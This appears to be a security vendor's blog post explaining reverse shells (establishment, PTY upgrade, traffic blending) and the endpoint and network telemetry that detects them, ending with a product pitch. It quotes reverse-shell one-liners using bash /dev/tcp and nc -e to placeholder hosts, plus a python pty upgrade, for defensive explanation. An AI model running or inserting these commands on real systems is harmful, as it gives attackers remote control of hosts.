A reverse shell inverts the normal client-server relationship: instead of an attacker connecting into a listening port on a compromised host, the compromised host connects out to attacker-controlled infrastructure. That single design choice is why reverse shells remain one of the most common post-exploitation primitives more than two decades after bash -i >& /dev/tcp/<ip>/<port> 0>&1 first started circulating in security forums — most enterprise networks are locked down for inbound traffic but leave outbound traffic wide open, so a shell dialing home on port 443 sails past firewall rules built to stop the opposite direction. MITRE ATT&CK catalogs this behavior under T1059 (Command and Scripting Interpreter), with sub-techniques T1059.004 (Unix Shell) and T1059.001 (PowerShell) covering the two most common execution paths, and the resulting command-and-control traffic tagged separately as T1071 (Application Layer Protocol). The primitives themselves are old and well documented — nc -e, socat, Python socket/subprocess one-liners, PowerShell New-Object System.Net.Sockets.TCPClient, and Metasploit's reverse_tcp/reverse_https Meterpreter payloads all accomplish the same goal. This post walks through how each stage works and the concrete telemetry that turns an invisible outbound connection into a detected one.
How does a reverse shell actually get established?
Establishment happens in two steps: the attacker stands up a listener on infrastructure they control, then gets the target to execute a command that opens an outbound socket and wires it to a shell process's standard streams. The canonical Linux example is bash -i >& /dev/tcp/<ip>/<port> 0>&1, which uses Bash's built-in /dev/tcp pseudo-device to open a TCP socket and redirect stdin, stdout, and stderr through it, giving the attacker an interactive prompt on the target. nc -e /bin/sh <ip> <port> does the same thing with netcat's (often disabled-by-default) -e execute flag, and socat is frequently substituted because it supports encrypted channels and PTY allocation natively. On Windows, the equivalent is a PowerShell block instantiating System.Net.Sockets.TCPClient, reading bytes into Invoke-Expression, and writing the result back over the same socket. Whatever the language, the shell process ends up with its I/O streams bound to a live network connection rather than a local terminal — which is the structural signature defenders look for.
Why do attackers upgrade the shell after it connects?
A raw reverse shell is functional but crippled — no job control, no tab completion, no ability to run full-screen tools like vim or top, and it dies the instant the parent terminal hiccups. Attackers commonly run a PTY upgrade immediately after landing, most often the one-liner python3 -c 'import pty; pty.spawn("/bin/bash")', which allocates a pseudo-terminal and hands it a real shell, followed by backgrounding the session (Ctrl+Z), setting the local terminal to raw mode with stty raw -echo, and foregrounding again. This sequence is publicly documented across countless offensive-security training resources because it is close to universal practice, which makes it useful defensively too: a python3/python process invoked with pty.spawn as a child of a shell that itself has a network-backed file descriptor is a near-unambiguous indicator, not a borderline heuristic.
How do attackers try to blend reverse shell traffic into normal traffic?
The most common evasion is protocol and port mimicry: routing the callback over 443 or 80 so the connection looks like ordinary HTTPS or web traffic to anyone glancing at a firewall log, or tunneling command-and-control over DNS queries (port 53) since DNS is rarely blocked outbound and is inspected less closely than HTTP. Wrapping the channel in TLS — as Metasploit's reverse_https payload and Cobalt Strike's HTTPS beacons both do — defeats plaintext payload inspection, forcing defenders to rely on metadata (destination reputation, JA3/TLS fingerprints, timing) rather than content. Low-and-slow beaconing, where the implant sleeps for minutes between short check-ins instead of holding a persistent connection open, is used specifically to defeat volumetric and duration-based network anomaly detection. None of these techniques change the underlying fact that a process is still originating a network connection it has no legitimate reason to make — they just make that fact harder to spot in a stream of otherwise-normal traffic.
What process-level signals reliably catch a reverse shell?
The strongest EDR signal is an abnormal parent-child process relationship combined with a network-bound file descriptor: a web server process (nginx, httpd, a Java application server), an Office application, or a document viewer spawning sh, bash, powershell.exe, or cmd.exe is rarely legitimate, and becomes highly suspicious the moment that child process's stdin/stdout are redirected to a socket rather than a terminal or pipe. EDR platforms and eBPF-based runtime sensors can observe this directly at the kernel level by correlating execve events with the file descriptor table of the resulting process — a shell whose fd 0/1/2 point at a SOCK_STREAM socket instead of a TTY is a structural anomaly independent of which specific one-liner produced it. A second reliable signal is any process that does not normally originate outbound connections — a database engine, a backup agent, a PDF renderer — suddenly opening one. Layering both checks (unexpected parent, then network-bound shell) cuts false positives sharply compared to alerting on either signal alone.
What network-level signals complement endpoint detection?
Network monitoring catches what endpoint telemetry sometimes misses, particularly on unmanaged or legacy hosts without an EDR agent installed. Connections to domains or IP addresses with no prior history in the environment — a destination never contacted before this session, often registered within the last days or weeks — are a strong indicator, since attacker infrastructure is typically stood up close to the time of an operation. Beaconing detection looks for connections with unusually regular timing intervals and small, consistent payload sizes, a pattern distinct from normal human-driven browsing or application traffic. JA3/JA3S TLS fingerprinting can flag TLS handshakes that don't match the fingerprint of the browser or application supposedly making the request, catching cases where a reverse shell wraps its traffic in TLS to blend in on port 443. None of these signals is conclusive alone — a single new destination or an odd fingerprint happens constantly in normal traffic — which is why mature detection stacks correlate network indicators with the process-level evidence described above rather than alerting on either in isolation.
How Safeguard helps
Safeguard's runtime rule engine ships a managed Reverse shell detection rule mapped directly to ATT&CK T1059, triggering when a shell process is observed with its input/output wired to a live network connection — the same structural signature described above, checked at the kernel level rather than by pattern-matching known payload strings. Response is policy-gated: by default the rule alerts, and tenants can opt into blocking the connection, killing the offending process, or quarantining the workload, with destructive actions requiring approval unless a high-confidence rule is explicitly configured for auto-response. Those runtime events flow into Safeguard's SecOps layer as OCSF-normalized events, where Sigma-rule and IOC-based detection can correlate a reverse-shell trigger against other activity in the same session — an unusual parent process, a subsequent privilege-escalation attempt, or outbound traffic to an indicator seen elsewhere in the environment — so a single shell-spawn event is evaluated in the context of the whole attack chain rather than as an isolated alert.